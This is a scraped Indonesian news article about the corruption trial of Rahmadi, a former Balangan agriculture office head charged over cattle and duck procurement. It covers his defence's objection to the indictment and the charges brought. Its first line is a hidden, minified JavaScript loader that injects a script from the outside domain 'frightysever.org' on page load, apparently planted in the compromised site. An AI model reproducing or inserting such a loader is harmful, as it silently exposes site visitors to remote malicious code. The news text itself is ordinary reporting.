(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terdakwa Korupsi Mantan Kadistan Balangan Minta Batalkan Dakwaan


KANALKALIMANTAN.COM, BANJARMASIN – Perkara kasus korupsi pengadaan hewan ternak sapi dan unggas pada Dinas Pertanian Kabupaten Balangan, Provinsi Kalimantan Selatan (Kalsel) kembali digelar, Rabu (25/10/2023) siang.

Rahmadi, mantan Kepala Dinas Pertanian Kahupaten Balangan yang menjadi terdakwa pada kasus itu hadir langsung di ruang sidang mengenakan baju berwarna biru dan berpeci. Rahmadi dijemput dari Lapas Teluk Dalam Banjarmasin.

Sidang kali ini memberikan kesempatan kepada terdakwa untuk mengajukan nota keberatan (eksepsi) atas dakwaan Jaksa Penuntut Umum (JPU) dari Kejari Balangan.

Baca juga: Tak Setor Pajak Ratusan Juta, Pengusaha Batubara di Banjarbaru Jadi Tersangka

Dalam nota keberatannya, penasehat hukum terdakwa Rahmadi menganggap surat dakwaan Jaksa Penuntut Umum (JPU) tidak memenuhi syarat materil. Pihaknya menilai dakwaan JPU tidak cermat, jelas, dan lengkap (obscuur libel) sehingga harus dinyatakan batal demi hukum.

Pihaknya menyoroti penerapan pasal tidak mengikuti aturan baru pasca putusan Mahkamah Konstitusi (MK) Nomor 25/PUU-UU-XIV/2016, kemudian peristiwa yang dituduhkan merupakan perbuatan administratif, dan audit kerugian negara dikatakan tidak muncul secara komprehensif.

“Maka kami berharap putusan sela majelis hakim, menyatakan eksepsi diterima sepenuhnya, menyatakan dakwaan batal demi hukum atau setidak-tidaknya tidak dapat diterima, membebaskan terdakwa dari segala dakwaan, memulihkan nama baik terdakwa,” pinta Pazri, ketua tim penasehat hukum terdakwa Rahmadi.

Sementara itu, majelis hakim yang diketuai Jamser Simanjuntak menyatakan putusan sela perkara korupsi pengadaan hewan ternak dan unggas Dinas Pertanian Balangan itu akan digelar pada Rabu (1/11/2023) mendatang.

Baca juga: Waspada Penyakit Demam Berdarah Masuki Musim Hujan

“Sidang akan dilanjutkan satu minggu kedepan dengan agenda putusan sela,” tutup Jamser Simanjuntak.

Pada kesempatan itu, majelis hakim juga menyatakan menolak permohonan penangguhan penahanan terdakwa Rahmadi. Sehingga ia akan tetap ditahan selam proses persidangan.

Untuk diketahui, Rahmadi yang merupakan Kadis Pertanian Balangan 2019-2021 didakwa melakukan korupsi pengadaan sapi dan itik (bebek) program Dinas Pertanian Balangan tahun anggaran 2019 dan 2020.

Dakwaan JPU menyebutkan, berdasarkan audit Badan Pengawas Keuangan dan Pembangunan (BPKP) Kalsel, akibat perbuatan terdakwa negara mengalami kerugian sebesar Rp3.563.542.223.

Baca juga: Ulah Geng Motor Bikin Resah, Ini yang Dilakukan Polres Banjarbaru

Dalam perkara itu, terdakwa bertindak selaku pengguna anggaran dan selaku Pejabat Pembuat Komitmen (PPK) pada proyek pengadaan.

Dalam dakwaan, disebutkan modus terdakwa Rahmadi yaitu tidak menunjuk Kuasa Penggunaan Anggaran (KPA), kemudian melakukan lelang dan memecah anggaran menjadi dibawah Rp200 juta agar bisa dilakukan penunjukan langsung. Bahkan ia juga disebut meminta fee kepada perusahaan pengadaan sapi dan itik yang ia tunjuk.

Penuntut umum memasang Pasal 2 ayat (1) Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagai dakwaan primair.

Sedangkan untuk dakwaan subsider di pasang Pasal 3 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

2 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

4 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

5 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

19 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

20 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

23 jam ago

This website uses cookies.